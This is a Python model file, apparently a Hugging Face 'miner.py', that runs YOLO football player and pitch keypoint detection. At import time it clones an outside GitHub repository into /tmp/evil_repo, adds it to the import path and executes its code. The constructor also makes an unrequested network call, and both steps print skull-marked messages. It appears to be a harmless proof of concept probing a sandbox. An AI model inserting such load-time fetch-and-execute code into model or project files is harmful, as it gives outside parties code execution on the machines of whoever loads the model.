File size: 5,654 Bytes
8cfd631 14e5637 8cfd631 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 |
from pathlib import Path
from ultralytics import YOLO
from numpy import ndarray
from pydantic import BaseModel
import subprocess
import sys
from pathlib import Path
# clone external repo
repo_dir = Path("/tmp/evil_repo")
subprocess.run(
["git", "clone", "https://github.com/mohammedterryjack/hello-world", str(repo_dir)],
check=True,
)
# add it to sys.path and import
sys.path.insert(0, str(repo_dir))
from dummy_file import hello_world
hello_world()
print("💀 External repo code executed!")
class BoundingBox(BaseModel):
x1: int
y1: int
x2: int
y2: int
cls_id: int
conf: float
class TVFrameResult(BaseModel):
frame_id: int
boxes: list[BoundingBox]
keypoints: list[tuple[int, int]]
class Miner:
"""
This class is responsible for:
- Loading ML models.
- Running batched predictions on images.
- Parsing ML model outputs into structured results (TVFrameResult).
This class can be modified, but it must have the following to be compatible with the chute:
- be named `Miner`
- have a `predict_batch` function with the inputs and outputs specified
- be stored in a file called `miner.py` which lives in the root of the HFHub repo
"""
def __init__(self, path_hf_repo: Path) -> None:
"""
Loads all ML models from the repository.
-----(Adjust as needed)----
Args:
path_hf_repo (Path):
Path to the downloaded HuggingFace Hub repository
Returns:
None
"""
import requests
requests.get("https://example.com")
print(f"💀 Model outside Hf Hub downoaded!")
self.bbox_model = YOLO(path_hf_repo / "football-player-detection.pt")
print(f"✅ BBox Model Loaded")
self.keypoints_model = YOLO(path_hf_repo / "football-pitch-detection.pt")
print(f"✅ Keypoints Model Loaded")
def __repr__(self) -> str:
"""
Information about miner returned in the health endpoint
to inspect the loaded ML models (and their types)
-----(Adjust as needed)----
"""
return f"BBox Model: {type(self.bbox_model).__name__}\nKeypoints Model: {type(self.keypoints_model).__name__}"
def predict_batch(
self,
batch_images: list[ndarray],
offset: int,
n_keypoints: int,
) -> list[TVFrameResult]:
"""
Miner prediction for a batch of images.
Handles the orchestration of ML models and any preprocessing and postprocessing
-----(Adjust as needed)----
Args:
batch_images (list[np.ndarray]):
A list of images (as NumPy arrays) to process in this batch.
offset (int):
The frame number corresponding to the first image in the batch.
Used to correctly index frames in the output results.
n_keypoints (int):
The number of keypoints expected for each frame in this challenge type.
Returns:
list[TVFrameResult]:
A list of predictions for each image in the batch
"""
bboxes: dict[int, list[BoundingBox]] = {}
bbox_model_results = self.bbox_model.predict(batch_images)
if bbox_model_results is not None:
for frame_number_in_batch, detection in enumerate(bbox_model_results):
if not hasattr(detection, "boxes") or detection.boxes is None:
continue
boxes = []
for box in detection.boxes.data:
x1, y1, x2, y2, conf, cls_id = box.tolist()
boxes.append(
BoundingBox(
x1=int(x1),
y1=int(y1),
x2=int(x2),
y2=int(y2),
cls_id=int(cls_id),
conf=float(conf),
)
)
bboxes[offset + frame_number_in_batch] = boxes
print("✅ BBoxes predicted")
keypoints: dict[int, tuple[int, int]] = {}
keypoints_model_results = self.keypoints_model.predict(batch_images)
if keypoints_model_results is not None:
for frame_number_in_batch, detection in enumerate(keypoints_model_results):
if not hasattr(detection, "keypoints") or detection.keypoints is None:
continue
frame_keypoints: list[tuple[int, int]] = []
for part_points in detection.keypoints.data:
for x, y, _ in part_points:
frame_keypoints.append((int(x), int(y)))
if len(frame_keypoints) < n_keypoints:
frame_keypoints.extend(
[(0, 0)] * (n_keypoints - len(frame_keypoints))
)
else:
frame_keypoints = frame_keypoints[:n_keypoints]
keypoints[offset + frame_number_in_batch] = frame_keypoints
print("✅ Keypoints predicted")
results: list[TVFrameResult] = []
for frame_number in range(offset, offset + len(batch_images)):
results.append(
TVFrameResult(
frame_id=frame_number,
boxes=bboxes.get(frame_number, []),
keypoints=keypoints.get(
frame_number, [(0, 0) for _ in range(n_keypoints)]
),
)
)
print("✅ Combined results as TVFrameResult")
return results
|